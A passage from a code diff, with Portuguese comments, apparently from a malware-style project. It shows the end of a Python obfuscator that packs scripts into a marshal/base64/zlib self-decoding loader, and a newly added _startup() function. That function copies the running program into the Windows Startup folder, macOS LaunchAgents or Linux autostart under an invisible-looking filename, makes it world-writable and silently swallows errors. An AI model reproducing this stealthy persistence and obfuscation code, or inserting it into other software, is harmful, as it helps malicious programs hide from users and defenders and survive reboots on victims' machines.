b64 = base64.b64encode(data).decode("ascii")
|
||||||
|
loader = LOADER_TEMPLATE.format(
|
||||||
|
b64=repr(b64),
|
||||||
|
decompress_import="import zlib" if compress else "",
|
||||||
|
maybe_decompress="b=zlib.decompress(b)" if compress else ""
|
||||||
|
)
|
||||||
|
output_path.write_text(loader, encoding="utf-8")
|
||||||
|
print(f"Ofuscado gerado: {output_path} (compress={compress})")
|
||||||
|
|
||||||
|
def main():
|
||||||
|
p = argparse.ArgumentParser(description="Ofusca um arquivo .py usando marshal+base64 (opção zlib).")
|
||||||
|
p.add_argument("input", help="Arquivo .py de entrada")
|
||||||
|
p.add_argument("-o", "--output", help="Arquivo .py de saída (padrão: ofuscado_<input>)")
|
||||||
|
p.add_argument("--compress", action="store_true", help="Aplicar zlib.compress antes do base64 (recomendado)")
|
||||||
|
args = p.parse_args()
|
||||||
|
|
||||||
|
inp = Path(args.input)
|
||||||
|
if not inp.exists():
|
||||||
|
print("Arquivo de entrada não encontrado:", inp, file=sys.stderr)
|
||||||
|
sys.exit(2)
|
||||||
|
out = Path(args.output) if args.output else inp.with_name(f"ofuscado_{inp.name}")
|
||||||
|
obfuscate_file(inp, out, compress=args.compress)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
def _startup():
|
||||||
|
startup = False
|
||||||
|
|
||||||
|
try:
|
||||||
|
file_path = os.path.abspath(sys.argv[0])
|
||||||
|
|
||||||
|
if file_path.endswith(".exe"):
|
||||||
|
ext = "exe"
|
||||||
|
elif file_path.endswith(".py"):
|
||||||
|
ext = "py"
|
||||||
|
|
||||||
|
new_name = f"ㅤ.{ext}"
|
||||||
|
|
||||||
|
if sys.platform.startswith('win'):
|
||||||
|
folder = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')
|
||||||
|
elif sys.platform.startswith('darwin'):
|
||||||
|
folder = os.path.join(os.path.expanduser('~'), 'Library', 'LaunchAgents')
|
||||||
|
elif sys.platform.startswith('linux'):
|
||||||
|
folder = os.path.join(os.path.expanduser('~'), '.config', 'autostart')
|
||||||
|
path_new_file = os.path.join(folder, new_name)
|
||||||
|
|
||||||
|
shutil.copy(file_path, path_new_file)
|
||||||
|
os.chmod(path_new_file, 0o777)
|
||||||
|
return startup
|
||||||
|
except:
|
||||||
|
startup = False
|
||||||
|
pass
|
||||||
|
return startup
|
||||||